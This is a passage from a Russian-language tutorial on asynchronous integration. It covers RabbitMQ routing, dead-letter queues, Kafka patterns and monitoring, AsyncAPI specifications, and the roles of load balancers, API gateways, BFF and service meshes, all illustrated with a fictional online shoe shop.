«Схемы событий топика orders.events хранятся в реестре схем, формат Avro, режим совместимости BACKWARD_TRANSITIVE. Изменения схемы проходят проверку совместимости в CI до выкладки. Удаление или переименование поля — только через новую версию события (OrderPlacedV2) и период параллельной публикации не менее 30 дней.»

глава 11 · RabbitMQ сортировочный центр: обменники, привязки, очереди

Уведомлениями в «Ботинке» занимается RabbitMQ. Там не нужна история на две недели. Зато нужна гибкая маршрутизация: SMS — только московским покупателям (у курьерской службы Москвы своя SMS-интеграция), письма — всем, аналитике — всё подряд. И поштучная работа с каждым сообщением: подтвердить, отложить, выбросить в «неудачники». Это стихия RabbitMQ.

Обменник (exchange) — сортировщик. Продюсер в RabbitMQ пишет не в очередь, а в обменник. Обменник по правилам раскладывает копии сообщения в очереди. Сам он ничего не хранит: если ни одно правило не подошло, сообщение пропадает.
Привязка (binding) — правило «из этого обменника — в эту очередь, если ключ подходит под шаблон».
Ключ маршрутизации (routing key) — «адрес на конверте», строка из слов через точку: order.paid.msk.
Очередь (queue) — хранит сообщения, пока консьюмер их не подтвердит. Подтвердил — сообщение удалено.
сортировочный центр почты. Обменник — сортировщик у ленты, привязки — таблички «индексы 1xxxxx — в контейнер Москвы», очереди — контейнеры, а консьюмеры — машины, которые забирают контейнеры. Письмо с индексом, под который нет таблички, отправляют обратно или выбрасывают.
Тип обменникаКак выбирает очередиПример привязки
directключ сообщения совпадает с ключом привязки точноorder.paid
topicпо шаблону: * — ровно одно слово, # — ноль или больше словorder.created.*, order.#
fanoutвсем привязанным очередям, ключ не смотрит—
headersпо заголовкам сообщения: x-match=all — все совпали, any — хотя бы одинevent=paid, city=msk
Есть ещё «обменник по умолчанию» с пустым именем: он кладёт сообщение в очередь, чьё имя равно ключу. Поэтому кажется, что «пишем прямо в очередь».

Маршрутизатор вживую

Выберите тип обменника и ключ, нажмите «Опубликовать» — сообщение прилетит в обменник, а его копии полетят по подходящим привязкам. Зелёная привязка — совпала, бледная — нет. Для topic можно ввести свой ключ.

ключ маршрутизации

Подтверждения, prefetch, TTL и «неудачники»

Подтверждение (ack) — консьюмер говорит «готово», и очередь удаляет сообщение. Отказ (nack или reject) — «не смог». С флагом requeue=true сообщение возвращается в очередь и будет выдано снова. С requeue=false — выбрасывается или уходит в DLX.
Prefetch (basic.qos, prefetch count) — сколько неподтверждённых сообщений консьюмер может держать у себя одновременно. Маленький — работа раздаётся ровно, но больше простоев на сети. Большой — быстрее, но один жадный консьюмер забирает всё, а остальные курят. Обычно десятки–сотни, подбирают замером.
официант берёт с кухни не больше трёх тарелок за раз. Возьмёт двадцать — половина остынет, пока он разносит, а другие официанты стоят без дела.
TTL (time to live) — срок жизни сообщения: x-message-ttl у всей очереди или expiration у отдельного сообщения. Протухшее сообщение удаляется или уходит в DLX. Ещё бывает лимит длины очереди x-max-length: при переполнении выбрасываются самые старые (по умолчанию) или новые публикации отклоняются.
Обменник «неудачников» (dead letter exchange, DLX) — обычный обменник, в который RabbitMQ перекладывает сообщения, если их отвергли без возврата (rejected), если истёк TTL (expired), если очередь переполнена (maxlen) или если превышен лимит доставок (delivery_limit). Задаётся аргументом очереди x-dead-letter-exchange или политикой. Из DLX сообщение попадает в очередь неудачников (DLQ), где его разбирает человек или отдельный обработчик.
отдел невостребованных писем на почте. Письмо с неправильным адресом не носят по кругу вечно, а откладывают в отдельный ящик, куда раз в день заглядывает сотрудник.

Очередь notify.sms и её DLX. Отправьте битое сообщение (пустой номер телефона — SMS-шлюз его никогда не примет) и посмотрите, что будет при разных настройках.

тип очереди
что делает консьюмер при ошибке

    

Очереди кворума и потоки: RabbitMQ 4.x

Очередь кворума (quorum queue) — очередь, реплицированная на несколько узлов по алгоритму Raft. По умолчанию три копии на трёх узлах; сообщение подтверждается продюсеру, когда его записало большинство. Всегда долговечная (durable). С RabbitMQ 4.0 у неё по умолчанию лимит доставок 20: сообщение, которое отвергли 20 раз, уходит в DLX или удаляется, а не крутится вечно. С 4.0 очереди кворума поддерживают и приоритеты сообщений.
Классические «зеркальные» очереди удалены. В RabbitMQ 4.0 (2024) убрали зеркалирование классических очередей (classic mirrored queues), объявленное устаревшим за несколько лет до этого. Классическая очередь теперь живёт на одном узле. Для отказоустойчивости остались только очереди кворума и потоки. При переезде с 3.x это обязательная миграция.
Поток (stream) в RabbitMQ — журнал в духе Kafka внутри RabbitMQ (с версии 3.9): сообщения не удаляются при чтении, читатель указывает смещение, хранение ограничено по размеру или времени, есть партиционированные «суперпотоки» (super streams). В 4.2 добавили фильтрацию потоков на сервере выражениями в стиле SQL.
Ещё о 4.x: с 4.0 протокол AMQP 1.0 встроен в ядро (наряду с классическим AMQP 0-9-1, MQTT и STOMP). С 4.2 в новых кластерах метаданные по умолчанию хранятся в Khepri — хранилище на том же Raft, что и очереди кворума.
топология уведомлений «Ботинка» (как её объявляет сервис при старте):

exchange  orders.topic      type=topic   durable=true
exchange  notify.dlx        type=fanout  durable=true

queue     notify.sms        x-queue-type=quorum
                            x-dead-letter-exchange=notify.dlx
                            x-delivery-limit=5          ← после 5 доставок — в DLX
queue     notify.email      x-queue-type=quorum
                            x-message-ttl=3600000       ← письмо старше часа уже не нужно
queue     notify.sms.dlq    x-queue-type=quorum

binding   orders.topic → notify.sms      key "order.paid.msk"
binding   orders.topic → notify.email    key "order.#"
binding   notify.dlx   → notify.sms.dlq

consumer  notify.sms: prefetch=20, ручные ack

Когда RabbitMQ удобнее Kafka

👍 RabbitMQ

Задачи-команды («отправь письмо», «сделай миниатюру») с поштучным подтверждением. Сложная маршрутизация по ключам и заголовкам. Приоритеты. Отложенные повторы через TTL и DLX. Много мелких очередей (например, по очереди на клиента). Небольшой поток с низкой задержкой. Работа «раздай по одной свободному обработчику» при любом числе обработчиков.

👍 Kafka

События, которые читают многие и независимо. Перечитывание истории. Огромный поток: сотни тысяч сообщений в секунду. Порядок по ключу. Потоковая обработка (Kafka Streams, Flink). Захват изменений из баз (Debezium). Долгое хранение и «источник правды» для аналитики.

«Команда SendSms публикуется в обменник orders.topic с ключом order.<событие>.<город>. Очередь notify.sms — очередь кворума; после 5 неудачных доставок сообщение переносится в notify.sms.dlq. Дежурный получает алерт, если в DLQ больше 10 сообщений или самое старое старше 30 минут; разбор DLQ — в течение рабочего дня.»

глава 12 · другие брокеры NATS, Redis Streams, облачные очереди

Kafka и RabbitMQ — самые известные, но не единственные. Часто лучший брокер — тот, что уже есть у вашего облака или уже крутится в вашей инфраструктуре. Нажмите на строку таблицы, чтобы раскрыть подробности.

Проще говоря. Нужна история и много независимых читателей — журнал (Kafka или совместимые с ней сервисы, JetStream, потоки RabbitMQ). Нужна раздача задач с поштучным подтверждением — очередь (RabbitMQ, SQS, YMQ). Не хотите администрировать — облачный сервис. Уже есть Redis и нагрузка скромная — Redis Streams, но помните про хранение в памяти.
Kafka-совместимые. Протокол Kafka стал стандартом де-факто, поэтому есть управляемые сервисы (Amazon MSK, Confluent Cloud, Yandex Managed Service for Apache Kafka) и другие движки с тем же протоколом (например, Redpanda). Клиенты и коннекторы Kafka работают с ними без переписывания, но настройки, лимиты и поддержка новых возможностей отличаются — проверяйте по документации конкретного сервиса.

глава 13 · паттерны и грабли что ломается в жизни и как это чинят

00:20. Лаг в группе склада растёт, но только в партиции 4. Уведомления застряли на одном сообщении. Аналитика просит «положить в событие PDF-чек». Каждая беда здесь — типовая, и у каждой есть типовое лечение.

Порядок против параллелизма

Порядок в Kafka есть только внутри партиции, а партицию в группе читает один консьюмер. Значит, чем строже порядок, тем меньше параллелизма. Одна партиция на весь топик — идеальный порядок и один работник. Порядок «по покупателю» — параллелизм до числа партиций. Порядок не нужен — можно параллелить внутри консьюмера или взять группы-очереди (share groups). Если внутри одной партиции обработка медленная, консьюмер может обрабатывать сообщения разных ключей параллельно в нескольких потоках, сохраняя порядок внутри ключа — так устроены библиотеки вроде Confluent Parallel Consumer.

Горячая партиция

Горячая партиция (hot partition) — одна партиция получает непропорционально много сообщений, потому что у огромной доли трафика один и тот же ключ. Её консьюмер не справляется, лаг растёт только там, а добавление консьюмеров не помогает: партицию всё равно читает один.
одна касса в супермаркете, куда направляют всех покупателей с фамилией на «И», а в городе половина — Ивановы.

У «Ботинка» это оптовый партнёр «ОптОбувь», который шлёт тысячи заказов под одним customerId. Лечение: составной ключ (партнёр + номер заказа — если порядок нужен в пределах заказа, а не партнёра); «соль» в ключе (partner-777#3, где 3 — остаток от номера заказа) с последующей сборкой; отдельный топик для крупного клиента. Посмотреть вживую — кнопка «🔥 Горячий ключ» в главе 5.

Когда шагов несколько (заказ → оплата → резерв → доставка) и при сбое нужно откатывать уже сделанное, цепочку событий оформляют как сагу — см. раздел «Саги». Брокер в ней — транспорт, а логику отката описывает сама сага.

Ядовитое сообщение, повторы и DLQ

Ядовитое сообщение (poison message) — сообщение, которое не обработать никогда: битый JSON, неизвестная версия схемы, ссылка на несуществующий товар. Повторы не помогут.
письмо без адреса. Сколько ни носи его по району, адресат не найдётся.

В RabbitMQ такое сообщение крутится по кругу при requeue=true. В Kafka хуже: консьюмер не может «пропустить и вернуться позже» — смещение одно на партицию. Он застревает, и вся партиция за этим сообщением стоит. Лечение: ограниченное число попыток, затем перенос в отдельный топик и движение дальше.

Топики повторов (retry topics) — неудачное сообщение не держит партицию, а перекладывается в orders.events.retry-1m, оттуда через минуту в retry-10m, и только потом в orders.events.dlq. Основной поток идёт дальше. Плата — порядок: повтор обработается позже соседей. В Spring Kafka это готовая аннотация @RetryableTopic.
Что класть в DLQ. Исходное сообщение без изменений плюс заголовки: исходный топик, партиция и смещение, число попыток, текст ошибки, время. И обязательно — владельца: кто разбирает DLQ, в какой срок, как переотправить исправленное (redrive). DLQ, в который никто не смотрит, — это просто медленная потеря данных.

Обратное давление

Обратное давление (backpressure) — способ сказать отправителю «притормози», когда получатель не успевает, вместо того чтобы захлебнуться. В Kafka консьюмер сам решает, сколько брать (max.poll.records), и может временно остановить чтение партиций (pause() / resume()), если, например, база под ним перегружена. На стороне записи у Kafka есть квоты на продюсеров. В RabbitMQ — prefetch, лимит длины очереди с отказом в публикации (reject-publish) и автоматическое торможение публикующих соединений при нехватке памяти или диска.
кассир в столовой говорит «подождите минуту, кончились подносы», а не принимает заказы, которые кухня всё равно не успеет приготовить.

Квитанция вместо багажа (claim check)

Claim check — большое тело (PDF-чек, фото, выгрузка) кладут в объектное хранилище, а в сообщение — только ссылку, размер и контрольную сумму. Брокеры не любят больших сообщений: в Kafka предел по умолчанию около 1 МБ (message.max.bytes), в SQS — 1 МиБ (с августа 2025, раньше 256 КиБ).
гардероб в театре: вы сдаёте тяжёлое пальто и носите с собой только номерок.
{
  "eventId": "evt-5c20",
  "eventType": "ReceiptIssued",
  "orderId": "ord-77",
  "receipt": {
    "url": "s3://botinok-receipts/2026/11/27/ord-77.pdf",   ← квитанция на «багаж»
    "sizeBytes": 184320,
    "sha256": "9f2c…e41a"                                    ← чтобы проверить, что файл тот самый
  }
}

Сколько партиций брать: калькулятор

Партиции — единица параллелизма и масштабирования. Слишком мало — упрётесь в потолок консьюмеров и в скорость записи одной партиции. Слишком много — больше файлов, памяти, дольше ребалансировки и переизбрание лидеров при сбое. А увеличивать потом больно (глава 4). Прикиньте для «Ботинка». Скорость записи в одну партицию сильно зависит от железа и настроек — замерьте у себя и подставьте.

—
—
—
—
—
—
—
Полезная привычка: брать число партиций с множеством делителей — 6, 12, 24, 36, 48. Тогда при 1, 2, 3, 4, 6 консьюмерах партиции делятся поровну, и никто не работает за двоих.

глава 14 · эксплуатация дежурная Вера и её приборная панель

В ночь Чёрной пятницы дежурит Вера, инженер эксплуатации. Её задача — заметить беду раньше покупателей. На что она смотрит?

📈 Лаг консьюмеров

Главная метрика. Смотрят и в сообщениях, и во времени: «самое старое необработанное сообщение записано 4 минуты назад». Время понятнее бизнесу и не зависит от потока. Алерт — на устойчивый рост, а не на разовый всплеск.

🧩 Реплики

UnderReplicatedPartitions — партиции, у которых не все копии синхронны. UnderMinIsrPartitionCount — партиции, куда запись с acks=all уже не принимается. OfflinePartitionsCount — партиции без лидера: авария.

💽 Диски

Объём = поток × срок хранения × число копий. Кончился диск — брокер перестаёт работать с этим каталогом данных. Алерт на заполнение заранее, а срок хранения считают калькулятором, а не «на глаз».

🔄 Ребалансировки

Частота и длительность. Частые ребалансировки — признак долгой обработки (превышен max.poll.interval.ms), нестабильных консьюмеров или деплоев без статического членства.

📐 Версии схем

Режим совместимости в реестре, проверка схем в CI до выкладки, старые версии не удаляются, пока их читают. Номер версии схемы — в логах консьюмера при ошибке разбора.

🐇 RabbitMQ

Длина очередей и число неподтверждённых (unacked) сообщений, скорости публикации, доставки и подтверждения, размер DLQ. Тревоги по памяти и диску: при них RabbitMQ блокирует публикующие соединения — продюсеры «зависают».

Так Вера смотрит лаг группы склада из командной строки:

$ kafka-consumer-groups.sh --bootstrap-server kafka-1:9092 --describe --group stock

GROUP  TOPIC          PARTITION  CURRENT-OFFSET  LOG-END-OFFSET  LAG     CONSUMER-ID        HOST        CLIENT-ID
stock  orders.events  0          182310          182318          8       stock-1-6f1c…      /10.0.3.21  stock-1
stock  orders.events  1          179902          179911          9       stock-1-6f1c…      /10.0.3.21  stock-1
stock  orders.events  2          181447          181450          3       stock-2-a93e…      /10.0.3.22  stock-2
stock  orders.events  3          180022          180029          7       stock-2-a93e…      /10.0.3.22  stock-2
stock  orders.events  4          143250          187904          44654   stock-3-11b0…      /10.0.3.23  stock-3   ← вот она
stock  orders.events  5          182930          182936          6       stock-3-11b0…      /10.0.3.23  stock-3

CURRENT-OFFSET — закоммиченная закладка группы, LOG-END-OFFSET — конец партиции, LAG — разница.

Прочитайте график лага

Четыре ночных графика лага. Что происходит? Решено 0 из 0.

Чек-лист перед Чёрной пятницей

глава 15 · для аналитика как Олег описывает асинхронную интеграцию

Аналитик Олег пишет постановку для нового сервиса бонусов, который будет читать события заказов. Раньше он описывал REST: адрес, метод, запрос, ответ (раздел «Проектирование API»). У асинхронной интеграции ответа нет, зато есть вопросы, которых у REST не бывает: какой ключ, какой порядок, сколько раз придёт, сколько хранится, что делать с битым сообщением.

AsyncAPI — открытая спецификация для описания асинхронных API: каналов (топиков, очередей), сообщений и их схем, серверов и привязок к конкретным брокерам. Это «OpenAPI для событий»: по одному файлу генерируют документацию, проверяют сообщения и даже код. Актуальная версия — 3.1 (январь 2026, без ломающих изменений относительно 3.0).
расписание электричек на вокзале: какие поезда, с какой платформы, в какое время и что в них везут. Пассажиру не нужно звонить машинисту.

Пример: событие «Заказ оформлен» в AsyncAPI 3

asyncapi: 3.0.0
info:
  title: Сервис заказов «Ботинок» — события
  version: 1.4.0
  description: События жизненного цикла заказа. Владелец — команда «Заказы».
servers:
  prod:
    host: kafka-1.botinok.internal:9092
    protocol: kafka
channels:
  orderEvents:
    address: orders.events                 # имя топика
    messages:
      orderPlaced:
        $ref: '#/components/messages/OrderPlaced'
    bindings:
      kafka:
        partitions: 12
        replicas: 3
        topicConfiguration:
          cleanup.policy: ["delete"]
          retention.ms: 1209600000          # 14 суток
        bindingVersion: '0.5.0'
operations:
  publishOrderPlaced:
    action: send                            # сервис заказов ОТПРАВЛЯЕТ
    channel:
      $ref: '#/channels/orderEvents'
    messages:
      - $ref: '#/channels/orderEvents/messages/orderPlaced'
components:
  messages:
    OrderPlaced:
      name: OrderPlaced
      title: Заказ оформлен
      contentType: application/json
      payload:
        $ref: '#/components/schemas/OrderPlaced'
      bindings:
        kafka:
          key:
            type: string
            description: customerId — порядок событий одного покупателя
          bindingVersion: '0.5.0'
  schemas:
    OrderPlaced:
      type: object
      required: [eventId, orderId, customerId, total, occurredAt]
      properties:
        eventId:    { type: string, format: uuid, description: ключ идемпотентности }
        orderId:    { type: string }
        customerId: { type: string }
        total:      { type: integer, description: сумма в копейках }
        occurredAt: { type: string, format: date-time }
Брокер — для общения сервисов между собой. Внешние клиенты (сайт, мобильное приложение) обычно ходят синхронно через единый вход — об этом раздел «Gateway, BFF, mesh». Документ AsyncAPI описывает одно приложение с его точки зрения. У сервиса бонусов будет свой файл с action: receive на тот же канал и привязкой groupId: bonus в операции.

Что обязательно указать в постановке

ВопросПример ответа для «Ботинка»
Канал и владелецтопик orders.events, владелец — команда «Заказы»
Событие или командасобытие, прошедшее время: OrderPlaced — «заказ оформлен», а не «зарезервируй»
Ключ и порядокключ customerId; порядок нужен в пределах покупателя, глобальный — не нужен
Гарантия доставкине менее одного раза; получатели идемпотентны по eventId
Объём и пикиобычно 2 события/с, пик 40 событий/с 15 минут; размер до 2 КБ
Задержкаот публикации до обработки складом ≤ 5 с (p99) вне пика, ≤ 10 мин в пике
Срок хранения14 суток; перечитывание с любого момента в пределах срока
Схема и эволюцияAvro в реестре схем, BACKWARD_TRANSITIVE; ломающие изменения — только новым типом события
Ошибки3 повтора с паузой, затем DLQ; владелец DLQ — команда получателя; разбор в течение рабочего дня
Персональные данныев событии только customerId, без телефона и адреса; остальное получатель берёт по API профиля
Про персональные данные и журнал. Из журнала Kafka нельзя удалить одно сообщение по запросу покупателя: сообщения уходят только целыми сегментами по сроку хранения. Поэтому персональные данные в события лучше не класть совсем, а если без них нельзя — ограничивать срок хранения, шифровать поля с удалением ключа («криптографическое уничтожение», crypto-shredding) или использовать компактный топик с надгробием по ключу покупателя.

Частые ошибки в постановках

Нажмите на пункт, чтобы раскрыть: что не так и как написать правильно.

глава 16 · проверь себя Kafka, RabbitMQ или просто очередь?

Десять ситуаций из жизни «Ботинка» и его соседей. Для каждой выберите, что взять. Решено 0 из 0.

Вопросы по разделу

Решено 0 из 0.

Дальше → следующий раздел — «Gateway, BFF, mesh»

Между телефоном пользователя и сервисами обычно стоит кто-то ещё. Балансировщик раскидывает поток по копиям. Шлюз — одна дверь снаружи. BFF собирает данные под конкретное приложение. Сетка берёт на себя связь внутри. Их часто путают и сваливают в одно, а потом получают узкое место, которое знает про всё на свете. Разберём по порядку, как и зачем каждый из них появляется.

карта раздела одна история в десяти главах

Раздел рассказывает одну историю: приложение магазина растёт, и на каждом шаге роста появляется новая проблема. Под каждую проблему появляется свой посредник. Читайте по порядку или прыгайте к нужной главе.

глава 1 · коротко четыре посредника в одном бизнес-центре

Представьте большой бизнес-центр. В нём много офисов, и в каждом работает своя компания: одна принимает заказы, другая возит посылки, третья принимает оплату. Гости приходят снаружи, а сотрудники офисов постоянно носят друг другу бумаги. Система из микросервисов устроена так же: офисы — это сервисы, гости — мобильное приложение, сайт и партнёры.

Чтобы в таком здании был порядок, нужны четыре службы. Вот каждая одной-двумя фразами.

⚖ Балансировщик

Что это: распределитель потока между одинаковыми копиями одного и того же. Не смотрит, кто пришёл и зачем, решает только «к какой копии».

🏢 Вращающиеся двери и распорядитель очереди: «вы — в третью кассу, там свободно».

🛎 Шлюз (API Gateway)

Что это: единственная входная дверь в систему снаружи. Проверяет, кто пришёл, не слишком ли часто, и направляет к нужному сервису.

🏢 Ресепшен в холле: проверяет пропуск, говорит «вам на пятый этаж», не пускает толпу.

🧑‍💼 BFF (Backend for Frontend)

Что это: отдельный маленький сервер под один тип клиента. Сам обходит нужные сервисы и отдаёт клиенту ровно то, что нужно его экрану.

🏢 Личный помощник для гостя определённого типа: мобильному — короткая выжимка, вебу — подробная папка.

📦 Сервисная сетка (service mesh)

Что это: общая служба связи между сервисами. Рядом с каждым сервисом запускают маленькую программу-посредника — sidecar («коляска мотоцикла»). Все звонки сервиса незаметно для его кода идут через неё, и она сама шифрует, повторяет и записывает каждый вызов. Подробно — в главе 6.

🏢 Внутренняя курьерская служба: у каждого офиса свой курьер, который сам запечатывает конверт, повторяет доставку и ведёт журнал.
Два слова, которые пригодятся сразу. Трафик «север — юг» (north-south) идёт снаружи внутрь: от телефона к системе. Трафик «восток — запад» (east-west) идёт внутри: от сервиса к сервису. Шлюз и BFF работают с первым, сетка — со вторым, балансировщик встречается и там и там.

Сквозной пример: Анна открывает свой заказ

Анна в метро открывает мобильное приложение магазина и нажимает на заказ №77. Экран должен показать товары, срок доставки и статус оплаты. Эти данные лежат в трёх разных сервисах. Нажимайте «Дальше» и смотрите, через кого проходит запрос, что каждый с ним делает и зачем.

глава 2 · начало истории один сервер и очередь к нему

Магазин начинался просто: одно приложение на одном сервере. Телефон Анны знал ровно один адрес, и всё — вход, заказы, оплата — жило внутри одной программы. Проверка пропуска, лимиты и журналы были написаны один раз, потому что и программа была одна.

Потом пришла распродажа, и один сервер перестал справляться. Первое решение — поставить несколько одинаковых копий и распорядителя перед ними. Этот распорядитель и есть балансировщик: он принимает поток и раздаёт его по копиям, пропуская те, что сейчас не отвечают.

Как в холле бизнес-центра: три одинаковые кассы и человек у входа, который говорит «вам в первую, вам во вторую». Попробуйте сами: запустите гостей, потом «сломайте» одну кассу.

Что важно запомнить. Балансировщик решает только «куда». Он не спрашивает, кто вы, и не смотрит, что у вас в руках. Он знает, какие кассы открыты, и узнаёт это сам: регулярно спрашивает каждую «ты жива?». Эта проверка называется health check (проверка живости).
Балансировщики бывают очень разными: одни видят только адреса и порты, другие читают запрос целиком. Алгоритмы, проверки живости и ловушки разобраны в соседнем разделе.

глава 3 · рост сервисов стало восемь, и клиенты ходят к каждому напрямую

Прошло два года. Одну большую программу разрезали на сервисы: заказы, каталог, склад, доставка, платежи, отзывы, профиль, скидки. Каждым занимается своя команда. А клиенты — мобильное приложение, сайт и партнёры — по привычке ходят к каждому сервису напрямую.

Переключайте размер системы и смотрите, что приходится знать клиентам и сколько раз одно и то же написано в сервисах. Потом устройте системе пару обычных неприятностей.

что знает каждый клиент
сколько раз одно и то же написано в сервисах
устроить неприятность
Вот он, хаос. Клиенты знают внутреннее устройство системы. Каждый сервис сам проверяет токен, сам ограничивает частоту, сам держит сертификат. Восемь команд делают одну и ту же работу по-разному — и где-то обязательно ошибаются. Нужна одна дверь, через которую пускают всех.

глава 4 · шлюз появляется ресепшен: API Gateway

Определение. API-шлюз (API Gateway) — единственная публичная точка входа в систему. Все внешние запросы приходят в него, а он проверяет их и отправляет к нужному сервису. Клиент знает один адрес, api.shop.ru, и больше ничего.

В бизнес-центре это ресепшен. Гость не бродит по этажам в поисках нужного офиса: он подходит к стойке, показывает пропуск, и ему говорят «вам на пятый». Если гость пришёл в двадцатый раз за час с одним и тем же вопросом, его вежливо просят подождать.

Балансировщик и шлюз — не одно и то же, хотя стоят рядом. Вращающиеся двери решают только «в какой проход», не глядя на гостя. Ресепшен уже смотрит внутрь: кто вы, к кому, можно ли. Поэтому шлюз умеет больше, но и работает дольше. На практике перед несколькими копиями шлюза стоит балансировщик — ведь ресепшен тоже бывает переполнен.

Что шлюз должен и чего не должен

Должен

  • Снимать шифрование TLS и быть единственной публичной точкой входа.
  • Проверять токен (подписанный «пропуск» пользователя) и передавать внутрь проверенную личность.
  • Ограничивать частоту запросов и размер тела.
  • Направлять запрос по пути и версии.
  • Приводить ошибки к единому формату и прятать внутренние детали.
  • Проставлять сквозной идентификатор запроса.

Не должен

  • Содержать бизнес-логику и правила предметной области.
  • Ходить в базы сервисов.
  • Собирать ответы из пяти сервисов «на лету» — это работа BFF.
  • Знать про особенности конкретных клиентов.
  • Быть местом, где «удобно быстро дописать». Так рождается монолит на входе, который правят все команды.
Главный риск шлюза — организационный. Шлюз один, а команд много, и каждая хочет добавить туда «маленькое исключение». Через год шлюз становится самым сложным компонентом системы: его правят все, а выкатывать боятся. Противоядие: конфигурация маршрута лежит рядом с сервисом и выкатывается его командой, а не одной центральной группой.

Под лупой: путь запроса до шлюза и через него

В первой главе мы прошли путь крупно. Теперь посмотрим подробнее на первую половину: как запрос находит здание (DNS), проходит двери (балансировщик уровня L4 — видит только адреса и порты), снимает «конверт» TLS и что происходит на ресепшене.

Пять слов, которые шлюз делает за всех

TLS, аутентификация, авторизация, лимиты, журналы. Их обычно проговаривают скороговоркой. Разберём каждое до конца: что это, зачем, как выглядит в жизни и где ошибаются.

Что именно делают на шлюзе — с настройками и кодом

Шлюз — это не «просто прокси». Это место, где живёт десяток конкретных приёмов. Нажмите на любой: что делает, зачем, как настраивается и где грабли.

глава 5 · bff разным клиентам — разные ответы

Шлюз навёл порядок на входе. Но появилась новая беда. Экран заказа в мобильном приложении показывает шесть полей, а на сайте — тридцать. Партнёру нужен строгий, неизменный формат. Часы показывают одну строчку. А сервисы отдают всем одно и то же: полный заказ на сорок полей. Мобильное приложение делает три запроса по медленной сети и само склеивает экран.

Определение. BFF (Backend for Frontend, «бэкенд для фронтенда») — отдельный небольшой сервер под один тип клиента. Он сам обходит нужные сервисы, параллельно и по быстрой внутренней сети, и отдаёт клиенту ровно тот ответ, который нужен его экрану. У мобильного свой BFF, у веба свой.

В бизнес-центре это личный помощник. Занятому гостю с телефоном он приносит выжимку на полстраницы. Аналитику из головного офиса — подробную папку. Сами офисы при этом ничего не переделывают.

Плюсы и минусы BFF

Кто должен владеть BFF: команда клиента, а не команда бэкенда. Смысл BFF в том, что фронтендеры меняют форму данных под свой экран, ни с кем это не согласовывая. Если BFF правит другая команда по заявке, он превращается в обычный API с лишним прыжком и теми же очередями согласований.

глава 6 · сетка внутри тоже непросто: сервисная сетка

Снаружи порядок: шлюз и BFF. Но BFF и сервисы постоянно вызывают друг друга, и у каждого такого вызова одни и те же вопросы. Сколько ждать ответа? Повторять ли, если не ответили? Шифровать ли соединение? Как передать идентификатор запроса дальше? Каждая команда отвечает на них по-своему, на своём языке программирования.

Чтобы понять сетку, сначала надо понять её главную деталь — sidecar.

Что такое sidecar

Определение. Sidecar (читается «сайдкар», дословно «коляска мотоцикла») — отдельная маленькая программа-прокси, чаще всего Envoy. Её запускают рядом с каждым экземпляром сервиса: в том же поде Kubernetes (под — минимальная «коробка», в которой запускаются контейнеры с общим сетевым адресом), то есть на том же localhost. Весь сетевой трафик сервиса, входящий и исходящий, проходит через неё — а код сервиса об этом не знает.

Как это выглядит изнутри. Код Заказов думает, что звонит напрямую в payments:8080. На самом деле правило сетевого фильтра Linux (iptables) незаметно разворачивает звонок на localhost:15001 — в собственный sidecar Заказов. Тот сам шифрует соединение, ставит таймаут, при сбое повторяет, записывает метрики и уже потом доставляет запрос. На другой стороне звонок принимает sidecar Платежей и отдаёт его коду Платежей тоже по localhost.

🏍 Из жизни

Мотоцикл с коляской: мотоцикл едет сам, а в коляске сидит штурман, который читает карту и следит за дорогой. Или в бизнес-центре: у каждого офиса свой секретарь-курьер. Все письма офиса — и входящие, и исходящие — идут через него. Сотрудник пишет «в бухгалтерию», а курьер сам запечатывает конверт, проверяет, от кого пришло письмо, повторяет доставку и ведёт журнал.

❓ Зачем он нужен

Без sidecar каждый сервис сам в коде реализует шифрование TLS, повторы, таймауты, размыкатель цепи и трассировку. На пяти языках — пятью способами, с разными ошибками. Чтобы поменять таймаут, надо пересобрать и выкатить сервис.

С sidecar всё это делает одна и та же программа рядом с каждым сервисом. Настраивается она из одного места (об этом ниже), а правила меняются без пересборки кода.

Чем платите. На каждый экземпляр сервиса — ещё один процесс: память и процессор, умноженные на число экземпляров. На каждом переходе — плюс 1–2 мс. Ещё одна сложная система в эксплуатации. И новый вид отладки: кто порвал соединение — сервис или его sidecar?

Интерактив: один звонок изнутри

Сервис Заказов вызывает сервис Платежей. Выберите режим и сценарий и нажимайте «Дальше»: конверт с запросом поедет по схеме, а под ней видно, что происходит на каждом шаге. Справа от схемы — какой код для этого написан в сервисе и что лежит в настройках sidecar.

Пройдено сценариев до конца: 0 из 4.

Теперь — сетка целиком

Определение. Сервисная сетка (service mesh) — это все sidecar-ы рядом со всеми сервисами плюс «диспетчерская», которая раздаёт им одинаковые правила. Вместе они берут на себя связь между сервисами, а код сервисов об этом не знает.

В бизнес-центре это внутренняя курьерская служба. У каждого офиса свой курьер. Сотрудник просто отдаёт ему бумагу: «в бухгалтерию». Курьер сам запечатывает конверт, ждёт не дольше положенного, при неудаче приходит ещё раз и записывает каждую доставку в журнал. Правила для всех курьеров одни.

Как сетка устроена внутри

Плоскость данных (data plane)

Простыми словами: все sidecar-ы, которые реально носят трафик. Это сами прокси рядом с каждым экземпляром, чаще всего Envoy. Они перехватывают входящий и исходящий трафик и делают всю работу: mTLS (взаимное шифрование, где обе стороны предъявляют сертификат), повторы, таймауты, размыкание цепи (circuit breaker — перестать звонить тому, кто всё равно не отвечает), балансировку, метрики и трассировку. В коде сервиса — ни строчки.

Плоскость управления (control plane)

Простыми словами: диспетчерская, которая раздаёт всем sidecar-ам настройки и сертификаты. Сама трафик не носит. Примеры: Istio, Linkerd. Вы пишете правило один раз — она рассылает его всем прокси. Политика «сервис A может ходить в B, но не в C» описывается декларативно, то есть одним файлом-описанием, и применяется ко всем сразу.

глава 7 · сравнение кто есть кто: один запрос, четыре роли

Вот все четыре посредника вместе. Возьмём тот же запрос — Анна открывает экран заказа — и посмотрим, кто на каком шаге работает. Выберите посредника: на схеме подсветится, где он стоит, а в списке — какие шаги его.

Таблица сравнения

Нажмите на строку, чтобы раскрыть пояснение.

Три мира: без шлюза, со шлюзом и BFF, плюс сетка

Тот же запрос в виде диаграммы последовательности — в трёх системах. Переключайте мир и проходите по стрелкам: видно, кто какую работу делает и что случится, если этого слоя нет.

глава 8 · что если убрать выключите посредника — и посмотрите, что вернётся

Лучший способ понять, зачем нужна деталь, — вынуть её. Нажимайте на посредников, чтобы выключить или включить. Справа — проблемы, которые возвращаются, и то, что честно становится лучше: минус один слой всегда что-то экономит.

Что возвращается

Что становится проще

Выключено по разу: 0 из 4.

А что нужно именно вам

Не обязательно иметь всех четырёх. Ответьте на три вопроса про свою систему — получите минимальный разумный набор.

сколько сервисов
какие клиенты
языков программирования

глава 9 · нотация как нарисовать «кто где стоит»

